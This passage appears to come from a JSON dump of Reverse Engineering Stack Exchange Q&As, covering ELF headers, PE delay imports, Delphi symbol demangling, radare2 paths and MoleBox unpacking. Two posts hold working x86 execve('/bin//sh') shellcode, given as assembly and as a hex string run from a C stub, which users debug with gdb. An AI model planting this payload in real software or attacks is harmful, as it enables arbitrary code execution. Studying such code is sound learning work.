4\n  [16] .eh_frame_hdr     PROGBITS        080484b4 0004b4 00002c 00   A  0   0  4\n  [17] .eh_frame         PROGBITS        080484e0 0004e0 0000b0 00   A  0   0  4\n  [18] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4\n  [19] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4\n  [20] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4\n  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4\n  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4\n  [23] .got.plt          PROGBITS        0804a000 001000 000014 04  WA  0   0  4\n  [24] .data             PROGBITS        0804a014 001014 000008 00  WA  0   0  4\n  [25] .bss              NOBITS          0804a01c 00101c 000004 00  WA  0   0  1\n  [26] .comment          PROGBITS        00000000 00101c 00002b 01  MS  0   0  1\n  [27] .shstrtab         STRTAB          00000000 001047 000106 00      0   0  1\n  [28] .symtab           SYMTAB          00000000 001600 000430 10     29  45  4\n  [29] .strtab           STRTAB          00000000 001a30 00024e 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n\nElf file type is EXEC (Executable file)\nEntry point 0x80482f0\nThere are 9 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4\n  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1\n      [Requesting program interpreter: /lib/ld-linux.so.2]\n  LOAD           0x000000 0x08048000 0x08048000 0x00590 0x00590 R E 0x1000\n  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000\n  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4\n  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4\n  GNU_EH_FRAME   0x0004b4 0x080484b4 0x080484b4 0x0002c 0x0002c R   0x4\n  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10\n  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1\n\n Section to Segment mapping:\n  Segment Sections...\n   00\n   01     .interp\n   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame\n   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss\n   04     .dynamic\n   05     .note.ABI-tag .note.gnu.build-id\n   06     .eh_frame_hdr\n   07\n   08     .init_array .fini_array .jcr .dynamic .got\n</code></pre>\n\n<hr>\n\n<p>Comparison with <a href=\"http://shell-storm.org/shellcode/files/shellcode-827.php\" rel=\"nofollow noreferrer\">this shellcode</a>:</p>\n\n<p>Here're the differences:</p>\n\n<pre><code>Hamza (working)     |   me\n\nASM\n\nxor    eax, eax     |   xor    eax, eax\npush   eax          |   push   eax\npush   0x68732f2f   |   push   0x68732f2f\npush   0x6e69622f   |   push   0x6e69622f\nmov    ebx, esp     |   mov    ebx, esp\npush   eax          |\npush   ebx          |\nmov    esp, ecx     |\nmov    al, 0xb      |   mov    al, 0xb\nint    0x80         |   int    0x80\n\nStack before the interrupt (each line is a word)\n\n&amp;(/bin//sh)         | /bin\n0                   | //sh\n/bin                | 0\n//sh                |\n0                   |\n\nRegisters before the interrupt\n\neax    0xb          |   0xb\nebx    &amp;(/bin//sh)  |   &amp;(/bin//sh)\necx    esp          |   ?\n</code></pre>\n\n<p>As you can see, the stack changes by having the string's address and an extra <code>0</code>, and his <code>ecx</code> register is set to the last <code>esp</code> value. And those differences make his shellcode to work (both direcly with <code>nasm</code> &amp; <code>ld</code> and inside the <code>C</code> program, without any change).</p>\n\n<hr>\n\n<p>Edit:</p>\n\n<p>Some progress, there's one extra instruction when the payload run within the C program:</p>\n\n<pre><code>(gdb)  x/14i 0x80484a0\n   ...\n   0x80484b3 &lt;shellcode+19&gt;:    mov    $0xb,%al\n   0x80484b5 &lt;shellcode+21&gt;:    int    $0x80\n   0x80484b7 &lt;shellcode+23&gt;:    add    %al,(%ecx)\n</code></pre>\n\n<p>While I don't know (yet) why the <code>ecx</code> register is incremented with the return value of the interrupt, clearing the register with <code>xor ecx, ecx</code> fixes the issue.</p>\n\n<p>Here's the working asm:</p>\n\n<pre><code>section .text\n    global _start\n\n_start:\n    xor  eax, eax\n    push eax\n    push 0x68732f2f\n    push 0x6e69622f\n    mov  ebx, esp\n    xor  ecx, ecx\n    mov  al, 0xb\n    int  0x80\n</code></pre>\n",
        "Title": "ASM working as is, but not in a C program",
        "Tags": "|assembly|gdb|shellcode|",
        "Answer": "<p>The problem with you shellcode and the why it differs if you run from C program or not is the initial values.</p>\n\n<p>The registers that are used when executing <a href=\"http://syscalls.kernelgrok.com/\" rel=\"noreferrer\">execv</a> (second page) are:</p>\n\n<ul>\n<li><code>eax</code> = 0x0b</li>\n<li><code>ebx</code> = ptr to filename</li>\n<li><code>ecx</code> = ptr to argv</li>\n<li><code>edx</code> = ptr to environment variables</li>\n</ul>\n\n<p>But actually the important one are only <code>ebx</code> and <code>eax</code> and the two other we can nullify.</p>\n\n<p>If you run your shellcode only the default value for the registers is <code>0x0</code> so we are getting nullification of <code>ecx</code> &amp; <code>edx</code> for free.</p>\n\n<p><a href=\"https://i.stack.imgur.com/hq7HS.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/hq7HS.png\" alt=\"enter image description here\"></a></p>\n\n<p>it's not the case when you execute your shellcode from C program. </p>\n\n<p><a href=\"https://i.stack.imgur.com/TgxRu.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/TgxRu.png\" alt=\"enter image description here\"></a></p>\n\n<p>As you can see registers has already some initial values so you need to prepare them correctly. This is why adding <code>xor ecx,ecx</code> fixes the issue. </p>\n\n<p>As for the example that you took from <code>ecx</code> is assigned to stack pointer but on the stack there's a value that points to \"/bin/sh\" which is also ok (and probably even better than <code>0x00</code>)</p>\n"
    },
    {
        "Id": "16249",
        "CreationDate": "2017-09-03T07:42:03.740",
        "Body": "<p>So I far I have been using <a href=\"https://github.com/aerosoul94/snowman\" rel=\"nofollow noreferrer\">Snowman</a> for <code>PowerPC</code> decompilation. It is bad though but better than nothing. However, right now it doesn't support floating point instructions. They are simply written down as inline assembly which is of course kinda useless since you already had that in the disassembly:</p>\n\n<pre><code>void RadiusFromBoundsSq() {\n    __asm__(\"lfs f10, 8(r3)\");\n    __asm__(\"lfs f5, (r3)\");\n    __asm__(\"frsp f11, f10\");\n    __asm__(\"lfs f6, (r4)\");\n    __asm__(\"frsp f10, f5\");\n    __asm__(\"frsp f12, f6\");\n    __asm__(\"lfs f13, 4(r3)\");\n    __asm__(\"fabs f11, f11\");\n    __asm__(\"lfs f8, 4(r4)\");\n    __asm__(\"frsp f0, f13\");\n    __asm__(\"frsp f8, f8\");\n    __asm__(\"lfs f9, 8(r4)\");\n    __asm__(\"fabs f12, f12\");\n    __asm__(\"frsp f13, f9\");\n    __asm__(\"fabs f8, f8\");\n    __asm__(\"fabs f0, f0\");\n    __asm__(\"fabs f13, f13\");\n    __asm__(\"fabs f10, f10\");\n    __asm__(\"fsubs f7, f8, f0\");\n    __asm__(\"fsubs f9, f13, f11\");\n    __asm__(\"fsubs f6, f12, f10\");\n    __asm__(\"fsel f8, f7, f8, f0\");\n    __asm__(\"fsel f11, f9, f13, f11\");\n    __asm__(\"fsel f0, f6, f12, f10\");\n    __asm__(\"fmuls f13, f8, f8\");\n    __asm__(\"fmadds f7, f0, f0, f13\");\n    __asm__(\"fmadds f1, f11, f11, f7\");\n    return;\n}\n</code></pre>\n\n<p>Is there any \"better\" plugin for this task besides <a href=\"https://www.hex-rays.com/products/decompiler/compare_ppc.shtml#6\" rel=\"nofollow noreferrer\"><code>HexRays</code></a>?</p>\n",
        "Title": "IDA Pro PowerPC Decompiler Plugin supporting Floating Point Instructions",
        "Tags": "|ida|decompilation|hexrays|powerpc|",
        "Answer": "<p>These days it turns out that <a href=\"https://ghidra-sre.org\" rel=\"nofollow noreferrer\">Ghidra</a> was released which is a good alternative to IDA. Unlike IDA, Ghidra and its decompilers are free so <a href=\"https://www.reddit.com/r/ghidra/comments/kicxzf/can_i_decompile_powerpc_code\" rel=\"nofollow noreferrer\">we're lucky to also receive a PowerPC decompiler</a> which is fairly powerful and it can handle floating point instructions as well.</p>\n"
    },
    {
        "Id": "16250",
        "CreationDate": "2017-09-03T07:55:53.733",
        "Body": "<p>I have the following shellcode:</p>\n\n<pre><code>xor  eax, eax   ; eax = 0\npush eax        ; 0 (end of the string)\npush 0x68732f2f ; //sh\npush 0x6e69622f ; /bin\nmov  ebx, esp   ; ebx = &amp;(/bin//sh)\nxor  ecx, ecx   ; ecx = 0\nmov  al, 0xb    ; execve\nint  0x80\n</code></pre>\n\n<p>Which, converted into hex is used in the following C program:</p>\n\n<pre><code>const char shellcode[] =\n     \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xb0\\x0b\\xcd\\x80\";\n\nint main(){\n    (*(void(*)()) shellcode)();\n    return 0;\n}\n</code></pre>\n\n<p>This works just fine, but when I step through the payload with <code>gdb</code> I see an extra instruction added to the shellcode:</p>\n\n<pre><code>$ gdb shellcode\n(gdb) disass main\nDump of assembler code for function main:\n   0x080483ed &lt;+0&gt;:     push   %ebp\n   0x080483ee &lt;+1&gt;:     mov    %esp,%ebp\n   0x080483f0 &lt;+3&gt;:     and    $0xfffffff0,%esp\n   0x080483f3 &lt;+6&gt;:     mov    $0x80484a0,%eax\n   0x080483f8 &lt;+11&gt;:    call   *%eax\n   0x080483fa &lt;+13&gt;:    mov    $0x0,%eax\n   0x080483ff &lt;+18&gt;:    leave\n   0x08048400 &lt;+19&gt;:    ret\nEnd of assembler dump.\n(gdb)  x/14i 0x80484a0\n   0x80484a0 &lt;shellcode&gt;:       xor    %eax,%eax\n   0x80484a2 &lt;shellcode+2&gt;:     push   %eax\n   0x80484a3 &lt;shellcode+3&gt;:     push   $0x68732f2f\n   0x80484a8 &lt;shellcode+8&gt;:     push   $0x6e69622f\n   0x80484ad &lt;shellcode+13&gt;:    mov    %esp,%ebx\n   0x80484af &lt;shellcode+15&gt;:    xor    %ecx,%ecx\n   0x80484b1 &lt;shellcode+17&gt;:    mov    $0xb,%al\n   0x80484b3 &lt;shellcode+19&gt;:    int    $0x80\n   0x80484b7 &lt;shellcode+21&gt;:    add    %al,(%ecx)\n   ... (gibberish)\n</code></pre>\n\n<p>You can see the <code>shellcode+23</code> is an extra line, added to the shellcode.\nWhile searching for an answer <a href=\"https://reverseengineering.stackexchange.com/questions/16244\">here</a> I discovered that it was making the shellcode to crash, and I had to clear the <code>ecx</code> register before calling the interrupt.</p>\n\n<p>Do you know what is this extra command?</p>\n",
        "Title": "Added instruction to shellcode",
        "Tags": "|gdb|register|",
        "Answer": "<p>Igor is right... The original shellcode does not include any <code>ret</code> (<code>0xc3</code>), so there are none in the decompiled asm. The thing is that when you ask <code>gdb</code> to disassemble 14 instructions, it disassembles 14 instructions interpreting the content of the memory as if it was instructions.</p>\n\n<p>As a proof of what I say, here is a disassembly of the instruction <code>add %al,(%ecx)</code>:</p>\n\n<pre><code>$ rasm2 -a x86 -C 'add %al,(%ecx)'\n\"\\xc0\\x00\"\n</code></pre>\n\n<p>Which is, in fact, <code>\"\\x00\\xc0\"</code> (because of the endianness) and where the first <code>\"\\x00\"</code> is, in fact, the final character of the shellcode string.</p>\n\n<p>The following characters are very likely the code of the <code>main</code> function or whatever is in the memory at this place.</p>\n\n<p>Anyway, reread more carefully the answer of Igor (he's right!).</p>\n"
    },
    {
        "Id": "16254",
        "CreationDate": "2017-09-03T13:04:31.620",
        "Body": "<p>According to Radare2 documentation, this is the command to find paths:</p>\n\n<pre><code>agt [addr]            find paths from current offset to given address\n</code></pre>\n\n<p>But when I try the command, after running <code>aaaaa</code> analysis, I get the following error:</p>\n\n<pre><code>[0x00430044]&gt; agt 0x0042aa98 &gt; agtoutput.dot\nUnable to find source or destination basic block\n</code></pre>\n\n<p>I can confirm that the two addresses are functions and I can graph each function individually.  Also, <code>0x00430044</code> does lead to <code>0x0042aa98</code>. I can see that from the gdb trace.  I looked at the <a href=\"https://github.com/radare/radare2/blob/master/libr/core/canal.c\" rel=\"nofollow noreferrer\">radare2 canal.c code</a>  and found that it's looking through the <code>RAnalFunction-&gt;bbs</code> for the provided addresses. I tried ensuring that bbs was populated with those addressings by running <code>abb $s</code> </p>\n\n<pre><code>abb [length]         analyze N bytes and extract basic blocks \n</code></pre>\n\n<p>and feeding the output back into r2.  I ran <code>abb $s</code> from various locations to see if it would add the basic blocks to the bbs list. The various locations were <code>0x0</code>, <code>0x00430044</code>, and <code>0x0042aa98</code>.  But nothing worked, I always get the \"Unable to find source or destination basic block\" error message.  I could be way off and going down rabbit holes, but the \"find paths\" feature would be so useful, and I'd really like to get it working? Any help on using the <code>agt</code> feature as documented would be appreciated.</p>\n",
        "Title": "How to find paths from current offset to given address using radare2?",
        "Tags": "|radare2|call-graph|",
        "Answer": "<p>When I realized that this feature was not implement, I made a workaround to get what I want.  I output the full program call graph then made a very simple python script that uses networkx to find paths between nodes. This is not ideal but gets the job done.</p>\n\n<p>In radare2, I output the full program call graph to a .dot file:</p>\n\n<pre><code>agC &gt; agCfullProgramCallGraph.dot\n</code></pre>\n\n<p>Then I have a python script that takes that graph and finds the paths for the connected nodes I'm interested in.</p>\n\n<pre><code>#!/usr/bin/env python\n\"\"\"\nGiven a .dot graph, a source node, target node, this script prints out new graphs with all the paths between\n\n\"\"\"       \nimport networkx as nx\nfrom pygraphviz import *\nclass DotGraphvizUtil(object):\n\n    def find_paths(self, dot_file_path, source, target):\n        agraph = AGraph(dot_file_path)\n        graphviz_graph = nx.nx_agraph.from_agraph(agraph)\n\n        paths = nx.all_simple_paths(graphviz_graph, source=source, target=target)\n\n        i = 0\n\n        for path in paths:\n            subgraph = nx.subgraph(graphviz_graph,path)\n            print(path)\n            nx.nx_agraph.write_dot(subgraph,\"srcTargetGraph{}.dot\".format(i))\n            i =+ 1\n\n        if i == 0:\n            print(\"No paths found from {} {}\".format(source, target))    \n\nif __name__ == '__main__':\n    dot_file = \"agCfullProgramCallGraph.dot\"\n    dotGraph = DotGraphvizUtil()\n    dotGraph.find_paths(dot_file_path=dot_file, source='0x004669bc', target='0x00466828')\n</code></pre>\n"
    },
    {
        "Id": "16255",
        "CreationDate": "2017-09-03T13:58:54.713",
        "Body": "<p>I have an exe application that contains three files packed in it. I know how those files were named before packing, I have around 80% of packed files and some of main executable file binary code. I've also found out that the execution creates and uses two files in <code>\\AppData\\Local\\Temp\\</code> called <code>MBX@pid@3bytes.###</code> which contains application entry I believe. And when I scan the file header with PEiD I get <code>Nothing found [Overlay] *</code>.</p>\n\n<p>Thats my objdump result</p>\n\n<pre><code>application.exe:     file format pei-i386\narchitecture: i386, flags 0x00000102:\nEXEC_P, D_PAGED\nstart address 0x0083db33\n\nCharacteristics 0x30f\n    relocations stripped\n    executable\n    line numbers stripped\n    symbols stripped\n    32 bit words\n    debugging information removed\n\nTime/Date       Tue Dec  8 10:45:51 2009\nMagic           010b    (PE32)\nMajorLinkerVersion  6\nMinorLinkerVersion  0\nSizeOfCode      00000000\nSizeOfInitializedData   00150000\nSizeOfUninitializedData 00000000\nAddressOfEntryPoint 0043db33\nBaseOfCode      0043c000\nBaseOfData      001b2000\nImageBase       00400000\nSectionAlignment    00001000\nFileAlignment       00001000\nMajorOSystemVersion 4\nMinorOSystemVersion 0\nMajorImageVersion   0\nMinorImageVersion   0\nMajorSubsystemVersion   4\nMinorSubsystemVersion   0\nWin32Version        00000000\nSizeOfImage     00457000\nSizeOfHeaders       00001000\nCheckSum        00000000\nSubsystem       00000002    (Windows GUI)\nDllCharacteristics  00000000\nSizeOfStackReserve  00100000\nSizeOfStackCommit   00001000\nSizeOfHeapReserve   00100000\nSizeOfHeapCommit    00001000\nLoaderFlags     00000000\nNumberOfRvaAndSizes 00000010\n\nThe Data Directory\nEntry 0 00000000 00000000 Export Directory [.edata (or where ever we found it)]\nEntry 1 0044eb2c 0000003c Import Directory [parts of .idata]\nEntry 2 003dc000 0005e81a Resource Directory [.rsrc]\nEntry 3 00000000 00000000 Exception Directory [.pdata]\nEntry 4 00000000 00000000 Security Directory\nEntry 5 00000000 00000000 Base Relocation Directory [.reloc]\nEntry 6 00000000 00000000 Debug Directory\nEntry 7 00000000 00000000 Description Directory\nEntry 8 00000000 00000000 Special Directory\nEntry 9 00000000 00000000 Thread Storage Directory [.tls]\nEntry a 00000000 00000000 Load Configuration Directory\nEntry b 00000000 00000000 Bound Import Directory\nEntry c 0044e000 0000005c Import Address Table Directory\nEntry d 0022c5f8 00000060 Delay Import Directory\nEntry e 00000000 00000000 CLR Runtime Header\nEntry f 00000000 00000000 Reserved\n\nThere is an import table in 6 at 0x84eb2c\n\nThe Import Tables (interpreted 6 section contents)\n vma:            Hint    Time      Forward  DLL       First\n                 Table   Stamp     Chain    Name      Thunk\n 0044eb2c   0044eb68 00000000 00000000 0044ecb8 0044e000\n\n    DLL Name: KERNEL32.dll\n    vma:  Hint/Ord Member-Name Bound-To\n    44ebc4    537  InitializeCriticalSection\n    44ebe0    408  GetProcAddress\n    44ebf2    594  LocalFree\n    44ebfe    667  RaiseException\n    44ec10    590  LocalAlloc\n    44ec1e    375  GetModuleHandleA\n    44ec32    583  LeaveCriticalSection\n    44ec4a    143  EnterCriticalSection\n    44ec62    429  GetShortPathNameA\n    44ec76    709  ResumeThread\n    44ec86    925  WriteProcessMemory\n    44ec9c    400  GetPrivateProfileSectionA\n    44ed52    434  GetStringTypeA\n    44ed42    571  LCMapStringW\n    44ed32    570  LCMapStringA\n    44ecfa    714  RtlUnwind\n    44ed06    903  WideCharToMultiByte\n    44ed1c    619  MultiByteToWideChar\n    44ed64    437  GetStringTypeW\n\n 0044eb40   0044ebb8 00000000 00000000 0044ecee 0044e050\n\n    DLL Name: USER32.dll\n    vma:  Hint/Ord Member-Name Bound-To\n    44ecc6    142  DefWindowProcA\n    44ecd8      2  AdjustWindowRectEx\n\n 0044eb54   00000000 00000000 00000000 00000000 00000000\n\nSections:\nIdx Name          Size      VMA       LMA       File off  Algn\n  0 0             000b7000  00401000  00401000  00001000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  1 1             00029000  005b2000  005b2000  000b8000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  2 2             00001000  0062f000  0062f000  000e1000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  3 3             0005e81a  007dc000  007dc000  000e2000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  4 4             00001000  0083b000  0083b000  00141000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  5 5             0000c000  0083c000  0083c000  00142000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  6 6             00000d76  0084e000  0084e000  0014e000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n  7 7             00002000  0084f000  0084f000  0014f000  2**2\n                  CONTENTS, ALLOC, LOAD, CODE, DATA\n</code></pre>\n\n<p>The result I'm hoping for is extracted files that have been packed into the executable.</p>\n\n<h2>Update</h2>\n\n<p>I've used <code>FastScanner 3.0</code> against the application and I've found out that it was packed just as the previous one, using MoleBox Pro. Here's all the FastScanner gueses (same as in previous app).\n<a href=\"https://i.stack.imgur.com/x6CJB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/x6CJB.png\" alt=\"FastScanner results\"></a></p>\n\n<p>So everything seems to be just like it was, but the binary file is different and I can't unpack it in any way, when back in previous application it wasn't a problem at all. Molebox is long dead so I doubt it was packed by newer version. \nAlso messing with ollydbg I've found out that the application have entry points on those two files that I've called before.</p>\n",
        "Title": "Unpack files from executable",
        "Tags": "|unpacking|",
        "Answer": "<p>It turns out that the newer version was packed just as the previous one, using same Molebox Pro. But it was messing with PE Headers at runtime so I've needed to unwrap it from those masking layers first. <a href=\"https://tuts4you.com/download.php?view.3503\" rel=\"nofollow noreferrer\">Scylla</a> was perfect tool for that.</p>\n"
    },
    {
        "Id": "16261",
        "CreationDate": "2017-09-04T21:34:40.840",
        "Body": "<p>The <a href=\"http://github.com/uxmal/reko\" rel=\"nofollow noreferrer\">Reko decompiler</a> crashes while trying to load the PE delay import directory of a particular binary I'm looking at. For 32-bit executables, the PE spec states that the directory consists of a sequence of records where offset 4 contains:</p>\n\n<blockquote>\n  <p>[the] RVA of the name of the DLL to be loaded. The name resides in the read-only data section of the image (<code>szName</code>)</p>\n</blockquote>\n\n<p>When I use dumpbin to look at the image, I see that the PE header </p>\n\n<pre><code>      185000 [     2C6] RVA [size] of Delay Import \n</code></pre>\n\n<p>And the <code>.didata</code> section's raw data is:</p>\n\n<pre><code>00585000: 00 00 00 00 90 51 58 00 00 00 00 00 A0 50 58 00  .....QX......PX.\n00585010: B4 50 58 00 C8 50 58 00 DC 50 58 00 00 00 00 00  \ufffdPX.\ufffdPX.\ufffdPX..... \n(etc)\n</code></pre>\n\n<p>Notice that at 00585004, the <code>szName</code> field has what looks to me a virtual address (00585190) and <em>not</em> a RVA (which would have been 00185190). Still, dumpbin manages to interpret this as:</p>\n\n<pre><code>USER32.DLL\n          00000000 Characteristics\n          00000000 Address of HMODULE\n          005850A0 Import Address Table\n          005850B4 Import Name Table\n          005850C8 Bound Import Name Table\n          005850DC Unload Import Name Table\n                 0 time date stamp\n</code></pre>\n\n<p>where it follows the 00585190 to find the string <code>USER32.DLL</code>.</p>\n\n<p>So how should the entries in the Delay Import Directory be interpreted? Should a PE loader first attempt to read the <code>szName</code> field as an RVA, and only when it discovers that it isn't a valid RVA, attempt to read it as VA?</p>\n\n<p>Note that for small EXE files, which get loaded at address 0x0040000, the range of valid RVA's will be <code>[0x00000000..MAX_RVA)</code> while the range of valid virtual addresses will be <code>[0x00400000..MAX_RVA + 0x00400000]</code>, so RVA's and VA's could theoretically be distinguished by looking at their numerical values. But once the binary size exceeds 0x00400000 bytes (4194304 bytes) these ranges overlap and you can't tell the difference anymore.</p>\n\n<p>Update:\nInterestingly, many PE viewers and editors crash or go off the rails on this binary. Dumpbin, IDA, and -- most significantly -- the Windows loader don't crash. Wonder what algorithm they are using to avoid dying on this binary?</p>\n",
        "Title": "Should the Delay Import Directory contain virtual addresses?",
        "Tags": "|pe32|",
        "Answer": "<p>Delayed imports are not processed by the system loader, so the programmer can put into it any kind of data, as long as they're prepared to handle it. By convention (mostly because Visual C++ did it), delayed imports are expected to use the same format as \"normal\" imports, but since this is not enforced by the OS it's not a requirement, and a specific program can use its own format or put any garbage into it.</p>\n\n<p>IIRC the issue with szName comes from the first implementation of the delayed imports (VC 6.0) which by mistake used full addresses instead of RVAs. This can be seen in the source code of the delayed import helper shipped with Visual C++ (<code>delayhlp.cpp</code>):</p>\n\n<pre><code>// For our own internal use, we convert to the old\n// format for convenience.\n//\nstruct InternalImgDelayDescr {\n    DWORD           grAttrs;        // attributes\n    LPCSTR          szName;         // pointer to dll name\n    HMODULE *       phmod;          // address of module handle\n    PImgThunkData   pIAT;           // address of the IAT\n    PCImgThunkData  pINT;           // address of the INT\n    PCImgThunkData  pBoundIAT;      // address of the optional bound IAT\n    PCImgThunkData  pUnloadIAT;     // address of optional copy of original IAT\n    DWORD           dwTimeStamp;    // 0 if not bound,\n                                    // O.W. date/time stamp of DLL bound to (Old BIND)\n    };\n</code></pre>\n\n<p>(note how it says \"old format\" and most field, including <code>szName</code>, are full pointers and not RVAs).</p>\n\n<p>The issue is also mentioned in the MSDN article <a href=\"https://msdn.microsoft.com/en-us/library/2b054ds4.aspx\" rel=\"nofollow noreferrer\"><em>Changes in the DLL Delayed Loading Helper Function Since Visual C++ 6.0</em></a>:</p>\n\n<blockquote>\n  <p>Since the pointers in the delay descriptor (ImgDelayDescr in\n  delayimp.h) have been changed from absolute addresses (VAs) to\n  relative addresses (RVAs) to work as expected in both 32- and 64-bit\n  programs, you need to convert these back to pointers. A new function\n  has been introduced: PFromRva, found in delayhlp.cpp. You can use this\n  function on each of the fields in the descriptor to convert them back\n  to either 32- or 64-bit pointers. The default delay load helper\n  function continues to be a good template to use as an example.</p>\n</blockquote>\n\n<p>If you open the above-mentioned header, you can see this definition:</p>\n\n<pre><code>enum DLAttr {                   // Delay Load Attributes\n    dlattrRva = 0x1,                // RVAs are used instead of pointers\n                                    // Having this set indicates a VC7.0\n                                    // and above delay load descriptor.\n    };\n</code></pre>\n\n<p>This is how IDA detects the correct format of delayed imports (absolute addresses in your case) and can handle them without crashing.</p>\n"
    },
    {
        "Id": "16263",
        "CreationDate": "2017-09-05T07:25:59.963",
        "Body": "<p>I'm looking at a PE binary which, given the names of some of the imported symbols, looks like it was built using the Delphi programming language. I'm basing this assumption on the symbols the binary is exporting, e.g. <code>@@Calculator@Initialize</code> and <code>@@Calculator@Finalize</code>. The <code>Initialize</code> and <code>Finalize</code> are reminiscent of the <code>initialization</code> and <code>finalization</code> keywords of the Delphi <code>unit</code> construct.</p>\n\n<p>Here is an excerpt of the output of dumpbin:</p>\n\n<pre><code>     45    0 001335BC @@Aaft@Finalize\n     44    1 001335AC @@Aaft@Initialize\n     13    2 000E78C8 @@Advreg@Finalize\n     12    3 000E78B8 @@Advreg@Initialize\n</code></pre>\n\n<p>The only references to Borland's/Embarcadero's mangling scheme I have are these (one in English, one in German) which both describe the mangling scheme in C++:</p>\n\n<ul>\n<li><a href=\"https://github.com/mildred/Lysaac/blob/master/doc/boa.utf8.txt\" rel=\"nofollow noreferrer\">https://github.com/mildred/Lysaac/blob/master/doc/boa.utf8.txt</a></li>\n<li><a href=\"http://edn.embarcadero.com/article/27758\" rel=\"nofollow noreferrer\">http://edn.embarcadero.com/article/27758</a></li>\n</ul>\n\n<p>None of the patterns in those references seem to apply to the <code>@@</code> prefix of this symbol. One hypothetical interpretation of <code>@@Foo@Initialize</code> is \"this symbol is for a special function <code>Initialize</code>\", where the <code>@@</code> prefix is used to avoid conflicts with a \"regular\" method <code>Initialize</code> in a class <code>Foo</code>.</p>\n\n<p>Unfortunately I don't have access to TDUMP.exe so I can't demangle this myself in order to confirm my hypothesis. So how should I be interpreting these symbols matching the pattern <code>@@&lt;name&gt;@Initialize</code>and <code>@@&lt;name&gt;@Finalize</code>?</p>\n",
        "Title": "How to demangle symbols with starting with \"@@\"?",
        "Tags": "|symbols|delphi|",
        "Answer": "<p>IDA demangles <code>@@Unit1@Initialize</code> as <code>__linkproc__ Unit1::Initialize</code> and looking for <code>__linkproc__</code> yields <a href=\"http://webfiles.icebreak.org/webfiles/CBuilderCD/v4/Runimage/Cbuilder4/Source/RTL/SOURCE/MISC/UM.C\" rel=\"nofollow noreferrer\">some clues</a>:</p>\n<blockquote>\n<p>Modifiers (mutually exclusive)</p>\n<p>UM_LINKER_PROC   Special linker procedure (#pragma package)</p>\n<p>case QUALIFIER:      /* virdef flag or <strong>linker proc</strong> */</p>\n</blockquote>\n<p>So looks like these functions are generated for the linker to ensure a specific initialization order. Apparently in C++ files this is achieved by using <a href=\"http://docwiki.embarcadero.com/RADStudio/Berlin/en/Pragma_package\" rel=\"nofollow noreferrer\"><code>#pragma package</code></a>, and I guess for Pascal units it happens automatically. (C++ Builder can use C++ and Pascal code in a single project; in fact most of VCL is implemented in Object Pascal and C++ Builder includes a Delphi compiler).</p>\n"
    },
    {
        "Id": "16271",
        "CreationDate": "2017-09-05T14:20:16.137",
        "Body": "<p>I'm trying to decompile some singleplayer code for a game (C++ on X86 architecture Linux). I do this with the help of some already available source code, a file (compiled on linux) with debug information and Ida Pro (Mainly only using pseudo-c code conversion). So far everything has been going good up until now. There is a comparison going on which I can't make any sense of. </p>\n\n<p>Below is a part of the function that is the problem:</p>\n\n<pre><code>if (v28)\n{\n    health_1 = Commands-&gt;Get_Health(obj);\n    this-&gt;field_1C = health_1;\n    v14 = health_1 &lt; 0.0;\n    v15 = 0;\n    v16 = health_1 == 0.0;\n    if ((HIBYTE(v13) &amp; 0x45) == 64)\n        v17 = this-&gt;field_20 - this-&gt;field_1C + this-&gt;field_24;\n    else\n        v17 = this-&gt;field_20 - this-&gt;field_1C;\n    v18 = v17;\n    v19 = ScriptImpClass::Get_Float_Parameter(&amp;this-&gt;base, \"Damage_multiplier\") * v18;\n    this-&gt;field_24 = v19 + this-&gt;field_24;\n    v20 = this-&gt;field_20 - v19;\n    Commands-&gt;Set_Health(obj, v20);\n    this-&gt;field_20 = Commands-&gt;Get_Health(obj);\n    this-&gt;field_1C = Commands-&gt;Get_Health(obj);\n}\n</code></pre>\n\n<p>There is the following comparison:</p>\n\n<pre><code>if ((HIBYTE(v13) &amp; 0x45) == 64)\n</code></pre>\n\n<p>I just cannot figure out what is being checked here. I believe that the if (v28) statement starts at address .text:084D16BF. Below is the complete bytecode of the function and the structure layout of M00_Damage_Modifier_DME </p>\n\n<pre><code>00000000 GameObjObserverClass struc; (sizeof = 0x8, mappedto_2746); XREF: ScriptClass / r\n00000000 vPtr            dd ? ; offset\n00000004 ID              dd ?\n00000008 GameObjObserverClass ends\n\n00000000 ScriptClass     struc; (sizeof = 0x8, mappedto_2767); XREF: ScriptImpClass / r\n00000000 base            GameObjObserverClass ?\n00000008 ScriptClass     ends\n\n00000000 